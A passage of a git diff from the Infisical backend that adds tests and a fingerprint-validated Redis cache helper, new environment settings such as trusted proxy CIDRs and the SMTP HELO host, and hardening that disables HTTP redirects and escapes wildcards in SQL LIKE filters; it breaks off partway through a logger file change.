+++ b/backend/src/lib/cache/with-cache.test.ts
@@ -215,6 +215,123 @@ describe("withCache", () => {
     );
   });
 
+  it("should compute TTL from fetcher result when ttlSeconds is a function", async () => {
+    mockKeyStore.getItem.mockResolvedValue(null);
+    const data = { expiresInSeconds: 42 };
+    const fetcher = vi.fn().mockResolvedValue(data);
+    const ttlFn = vi.fn((result: typeof data) => result.expiresInSeconds);
+
+    await withCache({
+      keyStore: mockKeyStore,
+      key: "dynamic-ttl-key",
+      ttlSeconds: ttlFn,
+      fetcher
+    });
+
+    expect(ttlFn).toHaveBeenCalledWith(data);
+    expect(mockKeyStore.setItemWithExpiry).toHaveBeenCalledWith("dynamic-ttl-key", 42, JSON.stringify(data));
+  });
+
+  it("should not call TTL function on cache hit", async () => {
+    const data = { cached: true };
+    mockKeyStore.getItem.mockResolvedValue(JSON.stringify(data));
+    const fetcher = vi.fn();
+    const ttlFn = vi.fn(() => 100);
+
+    await withCache({
+      keyStore: mockKeyStore,
+      key: "hit-dynamic-ttl-key",
+      ttlSeconds: ttlFn,
+      fetcher
+    });
+
+    expect(ttlFn).not.toHaveBeenCalled();
+    expect(fetcher).not.toHaveBeenCalled();
+  });
+
+  it("should call reviver on cache hit to mutate parsed value", async () => {
+    const cached = { date: "2026-04-13T00:00:00.000Z", value: 10 };
+    mockKeyStore.getItem.mockResolvedValue(JSON.stringify(cached));
+    const fetcher = vi.fn();
+    const reviver = vi.fn((parsed: { date: string | Date; value: number }) => {
+      // eslint-disable-next-line no-param-reassign
+      parsed.date = new Date(parsed.date as string);
+    });
+
+    const result = await withCache<{ date: string | Date; value: number }>({
+      keyStore: mockKeyStore,
+      key: "reviver-key",
+      ttlSeconds: 60,
+      fetcher,
+      reviver
+    });
+
+    expect(reviver).toHaveBeenCalledOnce();
+    expect(result.date).toBeInstanceOf(Date);
+    expect((result.date as Date).toISOString()).toBe("2026-04-13T00:00:00.000Z");
+    expect(fetcher).not.toHaveBeenCalled();
+  });
+
+  it("should use reviver's return value when it returns a new object", async () => {
+    const cached = { value: 1 };
+    mockKeyStore.getItem.mockResolvedValue(JSON.stringify(cached));
+    const fetcher = vi.fn();
+    const reviver = vi.fn((parsed: { value: number }) => ({ value: parsed.value * 2 }));
+
+    const result = await withCache<{ value: number }>({
+      keyStore: mockKeyStore,
+      key: "reviver-return-key",
+      ttlSeconds: 60,
+      fetcher,
+      reviver
+    });
+
+    expect(result.value).toBe(2);
+  });
+
+  it("should not call reviver on cache miss", async () => {
+    mockKeyStore.getItem.mockResolvedValue(null);
+    const fetcher = vi.fn().mockResolvedValue({ fresh: true });
+    const reviver = vi.fn();
+
+    await withCache({
+      keyStore: mockKeyStore,
+      key: "miss-reviver-key",
+      ttlSeconds: 60,
+      fetcher,
+      reviver
+    });
+
+    expect(reviver).not.toHaveBeenCalled();
+    expect(fetcher).toHaveBeenCalledOnce();
+  });
+
+  it("should fall back to fetcher when reviver throws", async () => {
+    const { logger } = await import("@app/lib/logger");
+    const cached = { value: 1 };
+    const fresh = { value: 99 };
+    mockKeyStore.getItem.mockResolvedValue(JSON.stringify(cached));
+    const fetcher = vi.fn().mockResolvedValue(fresh);
+    const reviver = vi.fn(() => {
+      throw new Error("reviver boom");
+    });
+
+    const result = await withCache({
+      keyStore: mockKeyStore,
+      key: "reviver-throws-key",
+      ttlSeconds: 60,
+      fetcher,
+      reviver
+    });
+
+    expect(result).toEqual(fresh);
+    expect(fetcher).toHaveBeenCalledOnce();
+    expect(logger.warn).toHaveBeenCalledWith(
+      expect.objectContaining({ key: "reviver-throws-key" }),
+      expect.stringContaining("cache parse failed")
+    );
+  });
+
   it("should log warnings on cache read and write failures", async () => {
     const { logger } = await import("@app/lib/logger");
 
@@ -240,3 +357,294 @@ describe("withCache", () => {
     );
   });
 });
+
+describe("withCacheFingerprint", () => {
+  let mockKeyStore: {
+    getItem: ReturnType<typeof vi.fn>;
+    setItemWithExpiry: ReturnType<typeof vi.fn>;
+  };
+
+  beforeEach(() => {
+    mockKeyStore = {
+      getItem: vi.fn(),
+      setItemWithExpiry: vi.fn().mockResolvedValue("OK")
+    };
+  });
+
+  afterEach(() => {
+    vi.clearAllMocks();
+  });
+
+  it("should return cached data on marker and data hit (0 DB reads)", async () => {
+    const { withCacheFingerprint } = await import("./with-cache");
+    const payload = { id: "user-123", permissions: ["read", "write"] };
+    const cachedData = { fingerprint: "fp-abc", payload };
+
+    mockKeyStore.getItem.mockImplementation(async (key: string) => {
+      if (key === "marker-key") return "1";
+      if (key === "data-key") return JSON.stringify(cachedData);
+      return null;
+    });
+
+    const fingerprintFetcher = vi.fn();
+    const dataFetcher = vi.fn();
+
+    const result = await withCacheFingerprint({
+      keyStore: mockKeyStore,
+      dataKey: "data-key",
+      markerKey: "marker-key",
+      markerTtlSeconds: 10,
+      dataTtlSeconds: 600,
+      fingerprintFetcher,
+      dataFetcher
+    });
+
+    expect(result).toEqual(payload);
+    expect(fingerprintFetcher).not.toHaveBeenCalled();
+    expect(dataFetcher).not.toHaveBeenCalled();
+    expect(mockKeyStore.setItemWithExpiry).not.toHaveBeenCalled();
+  });
+
+  it("should revalidate and reset marker on marker miss + data hit + fingerprint match (1 DB read)", async () => {
+    const { withCacheFingerprint } = await import("./with-cache");
+    const payload = { id: "user-456", permissions: ["admin"] };
+    const fingerprint = "fp-def";
+    const cachedData = { fingerprint, payload };
+
+    mockKeyStore.getItem.mockImplementation(async (key: string) => {
+      if (key === "marker-key") return null; // Marker expired
+      if (key === "data-key") return JSON.stringify(cachedData);
+      return null;
+    });
+
+    const fingerprintFetcher = vi.fn().mockResolvedValue(fingerprint);
+    const dataFetcher = vi.fn();
+
+    const result = await withCacheFingerprint({
+      keyStore: mockKeyStore,
+      dataKey: "data-key",
+      markerKey: "marker-key",
+      markerTtlSeconds: 10,
+      dataTtlSeconds: 600,
+      fingerprintFetcher,
+      dataFetcher
+    });
+
+    expect(result).toEqual(payload);
+    expect(fingerprintFetcher).toHaveBeenCalledOnce();
+    expect(dataFetcher).not.toHaveBeenCalled();
+    expect(mockKeyStore.setItemWithExpiry).toHaveBeenCalledWith("marker-key", 10, "1");
+  });
+
+  it("should full re-fetch on fingerprint mismatch (1 heavy DB read)", async () => {
+    const { withCacheFingerprint } = await import("./with-cache");
+    const oldPayload = { id: "user-789", permissions: ["read"] };
+    const newPayload = { id: "user-789", permissions: ["read", "write"] };
+    const oldFingerprint = "fp-old";
+    const newFingerprint = "fp-new";
+    const oldCachedData = { fingerprint: oldFingerprint, payload: oldPayload };
+
+    mockKeyStore.getItem.mockImplementation(async (key: string) => {
+      if (key === "marker-key") return null;
+      if (key === "data-key") return JSON.stringify(oldCachedData);
+      return null;
+    });
+
+    const fingerprintFetcher = vi.fn().mockResolvedValue(newFingerprint);
+    const dataFetcher = vi.fn().mockResolvedValue(newPayload);
+
+    const result = await withCacheFingerprint({
+      keyStore: mockKeyStore,
+      dataKey: "data-key",
+      markerKey: "marker-key",
+      markerTtlSeconds: 10,
+      dataTtlSeconds: 600,
+      fingerprintFetcher,
+      dataFetcher
+    });
+
+    expect(result).toEqual(newPayload);
+    expect(fingerprintFetcher).toHaveBeenCalledOnce();
+    expect(dataFetcher).toHaveBeenCalledOnce();
+    expect(mockKeyStore.setItemWithExpiry).toHaveBeenCalledWith(
+      "data-key",
+      600,
+      JSON.stringify({ fingerprint: newFingerprint, payload: newPayload })
+    );
+    expect(mockKeyStore.setItemWithExpiry).toHaveBeenCalledWith("marker-key", 10, "1");
+  });
+
+  it("should full re-fetch on marker miss + data miss", async () => {
+    const { withCacheFingerprint } = await import("./with-cache");
+    const payload = { id: "new-user", permissions: ["viewer"] };
+    const fingerprint = "fp-fresh";
+
+    mockKeyStore.getItem.mockResolvedValue(null); // Both marker and data miss
+
+    const fingerprintFetcher = vi.fn().mockResolvedValue(fingerprint);
+    const dataFetcher = vi.fn().mockResolvedValue(payload);
+
+    const result = await withCacheFingerprint({
+      keyStore: mockKeyStore,
+      dataKey: "data-key",
+      markerKey: "marker-key",
+      markerTtlSeconds: 10,
+      dataTtlSeconds: 600,
+      fingerprintFetcher,
+      dataFetcher
+    });
+
+    expect(result).toEqual(payload);
+    expect(fingerprintFetcher).toHaveBeenCalledOnce();
+    expect(dataFetcher).toHaveBeenCalledOnce();
+    expect(mockKeyStore.setItemWithExpiry).toHaveBeenCalledWith(
+      "data-key",
+      600,
+      JSON.stringify({ fingerprint, payload })
+    );
+    expect(mockKeyStore.setItemWithExpiry).toHaveBeenCalledWith("marker-key", 10, "1");
+  });
+
+  it("should call reviver on cache hits", async () => {
+    const { withCacheFingerprint } = await import("./with-cache");
+    const payload = { date: "2026-04-13T00:00:00.000Z", value: 42 };
+    const cachedData = { fingerprint: "fp-date", payload };
+
+    mockKeyStore.getItem.mockImplementation(async (key: string) => {
+      if (key === "marker-key") return "1";
+      if (key === "data-key") return JSON.stringify(cachedData);
+      return null;
+    });
+
+    const fingerprintFetcher = vi.fn();
+    const dataFetcher = vi.fn();
+    const reviver = vi.fn((parsed: { date: string | Date; value: number }) => {
+      // eslint-disable-next-line no-param-reassign
+      parsed.date = new Date(parsed.date as string);
+    });
+
+    const result = await withCacheFingerprint<{ date: string | Date; value: number }>({
+      keyStore: mockKeyStore,
+      dataKey: "data-key",
+      markerKey: "marker-key",
+      markerTtlSeconds: 10,
+      dataTtlSeconds: 600,
+      fingerprintFetcher,
+      dataFetcher,
+      reviver
+    });
+
+    expect(reviver).toHaveBeenCalledOnce();
+    expect(result.date).toBeInstanceOf(Date);
+    expect((result.date as Date).toISOString()).toBe("2026-04-13T00:00:00.000Z");
+  });
+
+  it("should gracefully handle Redis read failures", async () => {
+    const { withCacheFingerprint } = await import("./with-cache");
+    const { logger } = await import("@app/lib/logger");
+    const payload = { id: "fallback-user" };
+    const fingerprint = "fp-fallback";
+
+    mockKeyStore.getItem.mockRejectedValue(new Error("Redis connection lost"));
+
+    const fingerprintFetcher = vi.fn().mockResolvedValue(fingerprint);
+    const dataFetcher = vi.fn().mockResolvedValue(payload);
+
+    const result = await withCacheFingerprint({
+      keyStore: mockKeyStore,
+      dataKey: "data-key",
+      markerKey: "marker-key",
+      markerTtlSeconds: 10,
+      dataTtlSeconds: 600,
+      fingerprintFetcher,
+      dataFetcher
+    });
+
+    expect(result).toEqual(payload);
+    expect(fingerprintFetcher).toHaveBeenCalledOnce();
+    expect(dataFetcher).toHaveBeenCalledOnce();
+    expect(logger.warn).toHaveBeenCalledWith(
+      expect.objectContaining({ key: "marker-key" }),
+      expect.stringContaining("marker read failed")
+    );
+  });
+
+  it("should bypass cache and call dataFetcher directly on fingerprint fetch failure", async () => {
+    const { withCacheFingerprint } = await import("./with-cache");
+    const { logger } = await import("@app/lib/logger");
+    const payload = { id: "rescue-user" };
+
+    mockKeyStore.getItem.mockResolvedValue(null);
+
+    const fingerprintFetcher = vi.fn().mockRejectedValue(new Error("DB timeout"));
+    const dataFetcher = vi.fn().mockResolvedValue(payload);
+
+    const result = await withCacheFingerprint({
+      keyStore: mockKeyStore,
+      dataKey: "data-key",
+      markerKey: "marker-key",
+      markerTtlSeconds: 10,
+      dataTtlSeconds: 600,
+      fingerprintFetcher,
+      dataFetcher
+    });
+
+    expect(result).toEqual(payload);
+    expect(dataFetcher).toHaveBeenCalledOnce();
+    expect(mockKeyStore.setItemWithExpiry).not.toHaveBeenCalled();
+    expect(logger.error).toHaveBeenCalledWith(
+      expect.objectContaining({ err: expect.any(Error) as Error }) as unknown as Record<string, unknown>,
+      expect.stringContaining("fingerprint fetch failed")
+    );
+  });
+
+  it("should not block on Redis write failures", async () => {
+    const { withCacheFingerprint } = await import("./with-cache");
+    const { logger } = await import("@app/lib/logger");
+    const payload = { id: "write-fail-user" };
+    const fingerprint = "fp-write";
+
+    mockKeyStore.getItem.mockResolvedValue(null);
+    mockKeyStore.setItemWithExpiry.mockRejectedValue(new Error("Redis write timeout"));
+
+    const fingerprintFetcher = vi.fn().mockResolvedValue(fingerprint);
+    const dataFetcher = vi.fn().mockResolvedValue(payload);
+
+    const result = await withCacheFingerprint({
+      keyStore: mockKeyStore,
+      dataKey: "data-key",
+      markerKey: "marker-key",
+      markerTtlSeconds: 10,
+      dataTtlSeconds: 600,
+      fingerprintFetcher,
+      dataFetcher
+    });
+
+    expect(result).toEqual(payload);
+    expect(logger.warn).toHaveBeenCalledWith(
+      expect.objectContaining({ key: "data-key" }),
+      expect.stringContaining("data write failed")
+    );
+  });
+
+  it("should propagate dataFetcher errors", async () => {
+    const { withCacheFingerprint } = await import("./with-cache");
+
+    mockKeyStore.getItem.mockResolvedValue(null);
+
+    const fingerprintFetcher = vi.fn().mockResolvedValue("fp-error");
+    const dataFetcher = vi.fn().mockRejectedValue(new Error("Database query failed"));
+
+    await expect(
+      withCacheFingerprint({
+        keyStore: mockKeyStore,
+        dataKey: "data-key",
+        markerKey: "marker-key",
+        markerTtlSeconds: 10,
+        dataTtlSeconds: 600,
+        fingerprintFetcher,
+        dataFetcher
+      })
+    ).rejects.toThrow("Database query failed");
+  });
+});
diff --git a/backend/src/lib/cache/with-cache.ts b/backend/src/lib/cache/with-cache.ts
index 901f9a1399c..8b1747f524d 100644
--- a/backend/src/lib/cache/with-cache.ts
+++ b/backend/src/lib/cache/with-cache.ts
@@ -1,11 +1,55 @@
 import { TKeyStoreFactory } from "@app/keystore/keystore";
 import { logger } from "@app/lib/logger";
 
+type TCacheKeyStore = Pick<TKeyStoreFactory, "getItem" | "setItemWithExpiry">;
+
+/** Read a raw string from Redis, returning null on miss or error. */
+const cacheGet = async (keyStore: TCacheKeyStore, key: string, errMsg: string): Promise<string | null> => {
+  try {
+    return await keyStore.getItem(key);
+  } catch (err) {
+    logger.warn({ key, err }, `${errMsg} [key=${key}]`);
+    return null;
+  }
+};
+
+/** Write to Redis with the given TTL, swallowing errors. */
+const cacheSet = async (
+  keyStore: TCacheKeyStore,
+  key: string,
+  ttlSeconds: number,
+  value: string,
+  errMsg: string
+): Promise<void> => {
+  try {
+    await keyStore.setItemWithExpiry(key, ttlSeconds, value);
+  } catch (err) {
+    logger.warn({ key, err }, `${errMsg} [key=${key}]`);
+  }
+};
+
+/** Apply an optional reviver; returns the revived value or the original if the reviver returns void. */
+const applyReviver = <T>(value: T, reviver?: (parsed: T) => T | void): T => {
+  if (!reviver) return value;
+  const revived = reviver(value);
+  return revived === undefined ? value : revived;
+};
+
 type TWithCacheOpts<T> = {
-  keyStore: Pick<TKeyStoreFactory, "getItem" | "setItemWithExpiry">;
+  keyStore: TCacheKeyStore;
   key: string;
-  ttlSeconds: number;
+  /**
+   * Cache TTL in seconds. Can be a fixed number, or a function of the fetched
+   * result (e.g. to cap the TTL at the nearest expiry time of the data).
+   */
+  ttlSeconds: number | ((result: T) => number);
   fetcher: () => Promise<T>;
+  /**
+   * Optional post-parse callback to revive non-JSON-safe fields (e.g. Date
+   * objects) on cache hit. Called with the parsed value; may mutate it or
+   * return a new value. If it throws, the value is treated as a cache miss.
+   */
+  reviver?: (parsed: T) => T | void;
 };
 
 /**
@@ -13,17 +57,12 @@ type TWithCacheOpts<T> = {
  * or invalid cached JSON, and writes the result back to Redis. Redis write errors are caught and logged
  * — the fetcher is always the source of truth.
  */
-export const withCache = async <T>({ keyStore, key, ttlSeconds, fetcher }: TWithCacheOpts<T>): Promise<T> => {
-  let cached: string | null = null;
-  try {
-    cached = await keyStore.getItem(key);
-  } catch (err) {
-    logger.warn({ key, err }, `withCache: cache read failed, falling back to fetcher [key=${key}]`);
-  }
+export const withCache = async <T>({ keyStore, key, ttlSeconds, fetcher, reviver }: TWithCacheOpts<T>): Promise<T> => {
+  const cached = await cacheGet(keyStore, key, "withCache: cache read failed, falling back to fetcher");
 
   if (cached !== null) {
     try {
-      return JSON.parse(cached) as T;
+      return applyReviver(JSON.parse(cached) as T, reviver);
     } catch (err) {
       logger.warn({ key, err }, `withCache: cache parse failed, falling back to fetcher [key=${key}]`);
     }
@@ -31,11 +70,105 @@ export const withCache = async <T>({ keyStore, key, ttlSeconds, fetcher }: TWith
 
   const result = await fetcher();
 
+  const ttl = typeof ttlSeconds === "function" ? ttlSeconds(result) : ttlSeconds;
+  await cacheSet(keyStore, key, ttl, JSON.stringify(result), "withCache: cache write failed");
+
+  return result;
+};
+
+type TWithCacheFingerprintOpts<T> = {
+  keyStore: TCacheKeyStore;
+  dataKey: string;
+  markerKey: string;
+  markerTtlSeconds: number;
+  dataTtlSeconds: number;
+  fingerprintFetcher: () => Promise<string>;
+  dataFetcher: () => Promise<T>;
+  /**
+   * Optional post-parse callback to revive non-JSON-safe fields (e.g. Date
+   * objects) on cache hit. Called with the parsed payload; may mutate it or
+   * return a new value. If it throws, the value is treated as a cache miss.
+   */
+  reviver?: (parsed: T) => T | void;
+};
+
+type TCachedData<T> = {
+  fingerprint: string;
+  payload: T;
+};
+
+/**
+ * Two-tier cache-aside helper with fingerprint validation:
+ * - Short-lived marker (e.g. 10s) tracks recent validation
+ * - Long-lived data (e.g. 10m) holds the actual payload + fingerprint
+ *
+ * On marker hit: serve cached data directly (0 DB reads)
+ * On marker miss: compute lightweight fingerprint (1 DB read); if it matches cached data, reset marker and serve; otherwise, full re-fetch
+ */
+export const withCacheFingerprint = async <T>({
+  keyStore,
+  dataKey,
+  markerKey,
+  markerTtlSeconds,
+  dataTtlSeconds,
+  fingerprintFetcher,
+  dataFetcher,
+  reviver
+}: TWithCacheFingerprintOpts<T>): Promise<T> => {
+  const [markerValue, cachedDataStr] = await Promise.all([
+    cacheGet(keyStore, markerKey, "withCacheFingerprint: marker read failed"),
+    cacheGet(keyStore, dataKey, "withCacheFingerprint: data read failed")
+  ]);
+
+  // Marker + data hit: return cached data directly (fast path, 0 DB reads)
+  if (markerValue !== null && cachedDataStr !== null) {
+    try {
+      const { payload } = JSON.parse(cachedDataStr) as TCachedData<T>;
+      return applyReviver(payload, reviver);
+    } catch (err) {
+      logger.warn(
+        { key: dataKey, err },
+        `withCacheFingerprint: cached data parse failed, falling back to fingerprint check [key=${dataKey}]`
+      );
+    }
+  }
+
+  // Marker expired or cache miss — compute fingerprint (1 lightweight DB read)
+  let currentFingerprint: string;
   try {
-    await keyStore.setItemWithExpiry(key, ttlSeconds, JSON.stringify(result));
+    currentFingerprint = await fingerprintFetcher();
   } catch (err) {
-    logger.warn({ key, err }, `withCache: cache write failed [key=${key}]`);
+    logger.error({ err }, `withCacheFingerprint: fingerprint fetch failed, bypassing cache`);
+    return dataFetcher();
   }
 
+  // Data exists and fingerprint matches: reset marker and return (1 DB read total)
+  if (cachedDataStr !== null) {
+    try {
+      const cachedData = JSON.parse(cachedDataStr) as TCachedData<T>;
+      if (cachedData.fingerprint === currentFingerprint) {
+        await cacheSet(keyStore, markerKey, markerTtlSeconds, "1", "withCacheFingerprint: marker reset failed");
+        return applyReviver(cachedData.payload, reviver);
+      }
+    } catch (err) {
+      logger.error(
+        { key: dataKey, err },
+        `withCacheFingerprint: cached data parse failed, falling back to full fetch [key=${dataKey}]`
+      );
+    }
+  }
+
+  // Fingerprint mismatch or no cached data — full re-fetch
+  const result = await dataFetcher();
+
+  await cacheSet(
+    keyStore,
+    dataKey,
+    dataTtlSeconds,
+    JSON.stringify({ fingerprint: currentFingerprint, payload: result }),
+    "withCacheFingerprint: data write failed"
+  );
+  await cacheSet(keyStore, markerKey, markerTtlSeconds, "1", "withCacheFingerprint: marker write failed");
+
   return result;
 };
diff --git a/backend/src/lib/config/env.ts b/backend/src/lib/config/env.ts
index 63ad119b5d2..af23082a903 100644
--- a/backend/src/lib/config/env.ts
+++ b/backend/src/lib/config/env.ts
@@ -142,6 +142,9 @@ const envSchema = z
     GENERATE_SANITIZED_SCHEMA: zodStrBool
       .default("false")
       .describe("Generate sanitized schema with views after migrations"),
+    FAIL_ON_SANITIZED_SCHEMA_ERROR: zodStrBool
+      .default("false")
+      .describe("Exit startup when sanitized schema generation fails"),
     SANITIZED_SCHEMA_ROLE: zpStr(
       z.string().describe("PostgreSQL role to grant read access to the sanitized schema").optional()
     ),
@@ -199,6 +202,14 @@ const envSchema = z
     SMTP_PASSWORD: zpStr(z.string().optional()),
     SMTP_FROM_ADDRESS: zpStr(z.string().optional()),
     SMTP_FROM_NAME: zpStr(z.string().optional().default("Infisical")),
+    SMTP_HELO_HOST: zpStr(
+      z
+        .string()
+        .optional()
+        .describe(
+          "Hostname announced in the SMTP EHLO/HELO greeting. Defaults to the OS hostname, which may not be a valid FQDN inside containers."
+        )
+    ),
     SMTP_CUSTOM_CA_CERT: zpStr(
       z.string().optional().describe("Base64 encoded custom CA certificate PEM(s) for the SMTP server")
     ),
@@ -297,6 +308,7 @@ const envSchema = z
       .transform((val) => val === "true" || IS_PACKAGED)
       .optional(),
     INFISICAL_CLOUD: zodStrBool.default("false"),
+    INFISICAL_DEDICATED: zodStrBool.default("false"),
     MAINTENANCE_MODE: zodStrBool.default("false"),
     CAPTCHA_SECRET: zpStr(z.string().optional()),
     CAPTCHA_SITE_KEY: zpStr(z.string().optional()),
@@ -453,6 +465,14 @@ const envSchema = z
         })
     ),
 
+    // Reverse Proxy -----------------------------------------------------------------------------
+    // Comma-separated list of trusted proxy CIDRs (e.g. "10.0.0.0/8,172.16.0.0/12") or
+    // proxy-addr aliases ("loopback", "linklocal", "uniquelocal"). When set, requests whose
+    // socket remote address is NOT in this set will have forwarded-IP headers ignored; the
+    // socket address is used as the real IP. When unset, legacy first-header-wins behavior
+    // is preserved for backwards compatibility.
+    TRUSTED_PROXY_CIDRS: zpStr(z.string().optional()),
+
     /* OracleDB ----------------------------------------------------------------------------- */
     TNS_ADMIN: zpStr(z.string().optional()),
 
@@ -938,6 +958,7 @@ export const formatSmtpConfig = () => {
   return {
     host: envCfg.SMTP_HOST,
     port: envCfg.SMTP_PORT,
+    name: envCfg.SMTP_HELO_HOST,
     auth:
       envCfg.SMTP_USERNAME && envCfg.SMTP_PASSWORD
         ? { user: envCfg.SMTP_USERNAME, pass: envCfg.SMTP_PASSWORD }
diff --git a/backend/src/lib/config/request.ts b/backend/src/lib/config/request.ts
index b8bd4b282b7..e45874db7d0 100644
--- a/backend/src/lib/config/request.ts
+++ b/backend/src/lib/config/request.ts
@@ -26,7 +26,7 @@ export function axiosResponseInterceptor(response: AxiosResponse, customLogger:
 }
 
 export function createRequestClient(defaults: CreateAxiosDefaults = {}, retry: IAxiosRetryConfig = {}): AxiosInstance {
-  const client = axios.create(defaults);
+  const client = axios.create({ ...defaults, maxRedirects: 0 });
 
   client.interceptors.response.use((response) => axiosResponseInterceptor(response, logger));
 
diff --git a/backend/src/lib/gateway-v2/gateway-v2.ts b/backend/src/lib/gateway-v2/gateway-v2.ts
index 16eb8e8ca7c..3a5a7fcc96c 100644
--- a/backend/src/lib/gateway-v2/gateway-v2.ts
+++ b/backend/src/lib/gateway-v2/gateway-v2.ts
@@ -1,7 +1,7 @@
 import net from "node:net";
 import tls from "node:tls";
 
-import axios from "axios";
+import { isAxiosError } from "axios";
 import https from "https";
 
 import { verifyHostInputValidity } from "@app/ee/services/dynamic-secret/dynamic-secret-fns";
@@ -287,7 +287,7 @@ export const withGatewayV2Proxy = async <T>(
     }
     logger.error("Gateway error:", err instanceof Error ? err.message : String(err));
     let errorMessage = relayErrorMessage || (err instanceof Error ? err.message : String(err));
-    if (axios.isAxiosError(err) && (err.response?.data as { message?: string })?.message) {
+    if (isAxiosError(err) && (err.response?.data as { message?: string })?.message) {
       errorMessage = (err.response?.data as { message: string }).message;
     }
 
diff --git a/backend/src/lib/gateway/gateway.ts b/backend/src/lib/gateway/gateway.ts
index 9a4dd789b12..f5d551fa230 100644
--- a/backend/src/lib/gateway/gateway.ts
+++ b/backend/src/lib/gateway/gateway.ts
@@ -2,7 +2,7 @@
 import net from "node:net";
 
 import quicDefault, * as quicModule from "@infisical/quic";
-import axios from "axios";
+import { isAxiosError } from "axios";
 import https from "https";
 
 import { crypto } from "@app/lib/crypto/cryptography";
@@ -417,7 +417,7 @@ export const withGatewayProxy = async <T>(
     }
     logger.error(err, "Failed to do gateway");
     let errorMessage = proxyErrorMessage || (err as Error)?.message;
-    if (axios.isAxiosError(err) && (err.response?.data as { message?: string })?.message) {
+    if (isAxiosError(err) && (err.response?.data as { message?: string })?.message) {
       errorMessage = (err.response?.data as { message: string }).message;
     }
 
diff --git a/backend/src/lib/knex/dynamic.ts b/backend/src/lib/knex/dynamic.ts
index a57464fac58..0807c52201f 100644
--- a/backend/src/lib/knex/dynamic.ts
+++ b/backend/src/lib/knex/dynamic.ts
@@ -1,6 +1,7 @@
 import { Knex } from "knex";
 
 import { UnauthorizedError } from "../errors";
+import { sanitizeSqlLikeString } from "../fn";
 
 type TKnexDynamicPrimitiveOperator<T extends object> =
   | {
@@ -47,11 +48,11 @@ export const buildDynamicKnexQuery = <T extends object>(
         break;
       }
       case "startsWith": {
-        void queryBuilder.whereILike(filterAst.field, `${filterAst.value}%`);
+        void queryBuilder.whereILike(filterAst.field, `${sanitizeSqlLikeString(filterAst.value)}%`);
         break;
       }
       case "endsWith": {
-        void queryBuilder.whereILike(filterAst.field, `%${filterAst.value}`);
+        void queryBuilder.whereILike(filterAst.field, `%${sanitizeSqlLikeString(filterAst.value)}`);
         break;
       }
       case "notIn": {
diff --git a/backend/src/lib/knex/index.ts b/backend/src/lib/knex/index.ts
index 230d5cb3920..123931fec1b 100644
--- a/backend/src/lib/knex/index.ts
+++ b/backend/src/lib/knex/index.ts
@@ -5,6 +5,7 @@ import { Tables } from "knex/types/tables";
 import { TableName } from "@app/db/schemas";
 
 import { DatabaseError } from "../errors";
+import { sanitizeSqlLikeString } from "../fn";
 import { buildDynamicKnexQuery, TKnexDynamicOperator } from "./dynamic";
 
 export * from "./connection";
@@ -70,7 +71,7 @@ export const buildFindFilter =
     if ($search) {
       Object.entries($search).forEach(([key, val]) => {
         if (val) {
-          void bd.whereILike(`${tableName ? `${tableName}.` : ""}${key}`, val as never);
+          void bd.whereILike(`${tableName ? `${tableName}.` : ""}${key}`, `%${sanitizeSqlLikeString(val as string)}%`);
         }
       });
     }
@@ -108,7 +109,7 @@ export type TOrmify<Tname extends keyof Tables> = {
   findById: (id: string, tx?: Knex) => Promise<Tables[Tname]["base"]>;
   find: <TCount extends boolean = false, TCountDistinct extends keyof Tables[Tname]["base"] | undefined = undefined>(
     filter: TFindFilter<Tables[Tname]["base"]>,
-    { offset, limit, sort, count, tx, countDistinct }?: TFindOpt<Tables[Tname]["base"], TCount, TCountDistinct>
+    opts?: TFindOpt<Tables[Tname]["base"], TCount, TCountDistinct>
   ) => Promise<TFindReturn<Tname, TCountDistinct extends undefined ? TCount : true>>;
   findOne: (filter: Partial<Tables[Tname]["base"]>, tx?: Knex) => Promise<Tables[Tname]["base"]>;
   create: (data: Tables[Tname]["insert"], tx?: Knex) => Promise<Tables[Tname]["base"]>;
diff --git a/backend/src/lib/knex/scim.ts b/backend/src/lib/knex/scim.ts
index d522e2f5f9c..3758ed984b0 100644
--- a/backend/src/lib/knex/scim.ts
+++ b/backend/src/lib/knex/scim.ts
@@ -3,6 +3,9 @@ import { Compare, Filter, parse } from "scim2-parse-filter";
 
 import { TableName } from "@app/db/schemas";
 
+import { BadRequestError } from "../errors";
+import { sanitizeSqlLikeString } from "../fn";
+
 const appendParentToGroupingOperator = (parentPath: string, filter: Filter) => {
   if (filter.op !== "[]" && filter.op !== "and" && filter.op !== "or" && filter.op !== "not") {
     return { ...filter, attrPath: `${parentPath}.${(filter as Compare).attrPath}` };
@@ -64,7 +67,10 @@ const processDynamicQuery = (
       }
       case "sw": {
         const attrPath = getAttributeField(scimFilterAst.attrPath);
-        if (attrPath) void query.whereILike(attrPath, `${scimFilterAst.compValue}%`);
+        if (!scimFilterAst.compValue || !attrPath) {
+          throw new BadRequestError({ message: "compValue is required for sw filter" });
+        }
+        void query.whereILike(attrPath, `${sanitizeSqlLikeString(String(scimFilterAst.compValue))}%`);
         break;
       }
       case "ew": {
@@ -73,7 +79,8 @@ const processDynamicQuery = (
         if (attrPath === `${TableName.Users}.email` && typeof sanitizedValue === "string") {
           sanitizedValue = sanitizedValue.toLowerCase();
         }
-        if (attrPath) void query.whereILike(attrPath, `%${sanitizedValue}`);
+        if (attrPath && sanitizedValue)
+          void query.whereILike(attrPath, `%${sanitizeSqlLikeString(String(sanitizedValue))}`);
         break;
       }
       case "co": {
@@ -82,7 +89,8 @@ const processDynamicQuery = (
         if (attrPath === `${TableName.Users}.email` && typeof sanitizedValue === "string") {
           sanitizedValue = sanitizedValue.toLowerCase();
         }
-        if (attrPath) void query.whereILike(attrPath, `%${sanitizedValue}%`);
+        if (attrPath && sanitizedValue)
+          void query.whereILike(attrPath, `%${sanitizeSqlLikeString(String(sanitizedValue))}%`);
         break;
       }
       case "ne": {
diff --git a/backend/src/lib/logger/logger.ts b/backend/src/lib/logger/logger.ts
index 591bc06556e..bf446835c0c 100644
--- a/backend/src/lib/logger/logger.ts
+++ b/backend/src/lib/logger/logger.ts
@@ -4,7 +4,6 @@
 // easier to use it that's all.
 import { requestContext } from "@fastify/request-context";
 import pino, { Logger } from "pino";
-import { z } from "zod";
 
 import { RequestContextKey } from "@app/lib/request-context/request-context-keys";
 
@@ -48,15 +47,6 @@ export interface CustomLogger extends Omit<Logger, "info" | "error" | "warn" | "
 // eslint-disable-next-line import/no-mutable-exports
 export let logger: Readonly<CustomLogger>;
 
-const loggerConfig = z.object({
-  AWS_CLOUDWATCH_LOG_GROUP_NAME: z.string().default("infisical-log-stream"),
-  AWS_CLOUDWATCH_LOG_REGION: z.string().default("us-east-1"),
-  AWS_CLOUDWATCH_LOG_ACCESS_KEY_ID: z.string().min(1).optional(),
